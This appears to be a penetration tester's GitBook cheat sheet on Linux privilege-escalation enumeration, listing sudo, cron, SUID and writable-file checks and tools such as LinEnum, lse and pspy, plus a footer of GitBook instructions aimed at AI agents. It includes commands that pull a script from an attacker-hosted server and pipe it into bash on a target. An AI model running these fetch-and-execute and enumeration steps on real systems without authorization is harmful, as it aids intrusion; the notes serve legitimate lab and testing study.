## Start

```
sudo -l
crontab -l
ps auxww
uname -a
find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null

pspy   ..snoop processes
find / -type f -user www-data 2>/dev/null    ..files
find / -type d -user www-data 2>/dev/null    ..dirs
```

## LinEnum

* <https://github.com/rebootuser/LinEnum>
* Extracts large amount of target bits
* Could find ports listening on localhost, that might have port-knocking or pivots
* Used by IPPSec

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
cp /opt/LinEnum/LinEnum.sh .
python -m SimpleHTTPServer 80

cd /dev/shm/   ..ramdisk (data wont actually save to disk)
cd /tmp        ..optional (way i've been doing it)

curl $MyIP:8000/LinEnum.sh -t | bash       ..Easy execute and Thorough
curl $MyIP:8000/LinEnum.sh -o LinEnum.sh   ..Download

LinEnum.sh -h                         ..help
LinEnum.sh -k password -e export -t   ..keyword, export, thorough
```

## [Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration)

```
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
lse.sh -h         ..help
lse.sh -l 1 -i    ..level 1.. i to not prompt-pass
lse.sh -l 2 -i    ..level 2.. print everything
```

## PsPy32

* Snoop on processes/crons without needing root permissions.
* Even finds root-crontabs
* <https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32>
* <https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64>

```
Copy it to the system with:
chmod +x pspy32
python -m SimpleHTTPServer 80
wget http://10.10.14.34/pspy32
> ./pspy32
> ./pspy --help
```

## Timers

* Kinda like crons
* REF: [procmon](/06-linux-privesc/02-monitor-files.md#watch-proc-procmon)

```
systemctl list-timers
watch -n 1 'systemctl list-timers'
```

## Tools

* Get the tools.zip from [UdemyClass](/06-linux-privesc/lx-privesc.md#privesc-class), and save them as a toolset

## REFS

* [FingerEnums](/02-scanning/02-enum-finger-and-ssh.md#enumerate-finger-users)
* [LookAround](/06-linux-privesc/04-look-around.md)

## Bonus Enums:

* [AutoRecon-Tib3rius](https://github.com/Tib3rius/AutoRecon)
* [linted/linuxprivchecker](https://github.com/linted/linuxprivchecker.git)
* [AlessandroZ/BeRoot](https://github.com/AlessandroZ/BeRoot)
* [pentestmonkey/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)

## SUID/SGID

```
find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null
```

## Writeable

```
cd /var/www/html/webservices/monstra/
find . -writable -ls
```

## Enumeration Plan

1. Check your id, whoami
2. Linux Smart Enumeration (lse) with increasing levels
   1. lse
   2. lse -l 1
   3. lse -l 2
3. LinEnum and other scripts
4. If they are failing, run them manually
   1. Or Check other cheatsheets
   2. <https://blog.g0tmi1k.com/..linux-privilege-escalation>
5. Check common file
   1. /var/backup
   2. /var/logs
   3. /tmp
   4. /home/user/.\*history

Try easy ones first:

1. sudo, cron, suid
2. root processes, enumerate version, check exploits
3. internal ports you can forward to your-remote-machine

Harder:

1. Re-read your enums, look for oddities
2. Unusual file-systems (not ext,swap,tmpfs)
3. Strange usernames
4. Kernel exploits

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pentest.mxhx.org/06-linux-privesc/lx-enum.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
